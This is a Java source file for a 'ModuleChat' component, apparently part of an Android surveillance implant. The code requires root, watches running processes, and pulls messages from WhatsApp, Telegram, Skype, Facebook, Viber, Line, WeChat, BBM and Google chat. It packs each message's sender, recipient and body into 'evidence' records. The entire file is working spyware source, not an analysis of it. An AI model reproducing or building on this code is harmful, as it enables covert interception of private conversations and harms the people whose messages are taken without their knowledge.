package com.android.dvci.module; import java.util.ArrayList; import com.android.dvci.ProcessInfo; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.ConfModule; import com.android.dvci.evidence.EvidenceBuilder; import com.android.dvci.evidence.EvidenceType; import com.android.dvci.interfaces.Observer; import com.android.dvci.listener.ListenerProcess; import com.android.dvci.module.chat.ChatBBM; import com.android.dvci.module.chat.ChatFacebook; import com.android.dvci.module.chat.ChatGoogle; import com.android.dvci.module.chat.ChatLine; import com.android.dvci.module.chat.ChatSkype; import com.android.dvci.module.chat.ChatTelegram; import com.android.dvci.module.chat.ChatViber; import com.android.dvci.module.chat.ChatWeChat; import com.android.dvci.module.chat.ChatWhatsapp; import com.android.dvci.module.chat.MessageChat; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.dvci.util.DateTime; import com.android.dvci.util.WChar; public class ModuleChat extends BaseModule implements Observer<ProcessInfo> { private static final String TAG = "ModuleChat"; SubModuleManager subModuleManager; public ModuleChat() { subModuleManager = new SubModuleManager(this); if (Cfg.ENABLE_EXPERIMENTAL_MODULES) { subModuleManager.add(new ChatTelegram()); } else { subModuleManager.add(new ChatBBM()); subModuleManager.add(new ChatFacebook()); subModuleManager.add(new ChatWhatsapp()); subModuleManager.add(new ChatSkype()); subModuleManager.add(new ChatViber()); subModuleManager.add(new ChatLine()); subModuleManager.add(new ChatWeChat()); subModuleManager.add(new ChatGoogle()); subModuleManager.add(new ChatTelegram()); } } @Override protected boolean parse(ConfModule conf) { if (Status.self().haveRoot()) { setDelay(SOON); setPeriod(NEVER); return true; } else { if (Cfg.DEBUG) { Check.log(TAG + " (parse), don't have root, bailing out"); } return false; } } @Override protected void actualGo() { subModuleManager.go(); } @Override protected void actualStart() { if (Cfg.DEBUG) { Check.log(TAG + " (actualStart)"); } ListenerProcess.self().attach(this); subModuleManager.start(); } @Override protected void actualStop() { if (Cfg.DEBUG) { Check.log(TAG + " (actualStop)"); } subModuleManager.stop(); ListenerProcess.self().detach(this); } public void saveEvidence(ArrayList<MessageChat> messages) { if (Cfg.DEBUG) { Check.log(TAG + " (saveEvidence)"); } final ArrayList<byte[]> items = new ArrayList<byte[]>(); for (MessageChat message : messages) { DateTime datetime = new DateTime(message.timestamp); // TIMESTAMP items.add(datetime.getStructTm()); // PROGRAM_TYPE items.add(ByteArray.intToByteArray(message.programId)); // FLAGS int incoming = message.incoming ? 0x01 : 0x00; items.add(ByteArray.intToByteArray(incoming)); // FROM items.add(WChar.getBytes(message.from, true)); // FROM DISPLAY items.add(WChar.getBytes(message.displayFrom, true)); // TO items.add(WChar.getBytes(message.to, true)); // TO DISPLAY items.add(WChar.getBytes(message.displayTo, true)); // CONTENT items.add(WChar.getBytes(message.body, true)); items.add(ByteArray.intToByteArray(EvidenceBuilder.E_DELIMITER)); if (Cfg.DEBUG) { Check.log(TAG + " (saveEvidence): " + datetime.toString() + " " + message.from + " -> " + message.to + " : " + message.body); } } EvidenceBuilder.atomic(EvidenceType.CHATNEW, items); } @Override public int notification(ProcessInfo process) { if (Cfg.DEBUG) { Check.log(TAG + " (notification), "); } return subModuleManager.notification(process); } }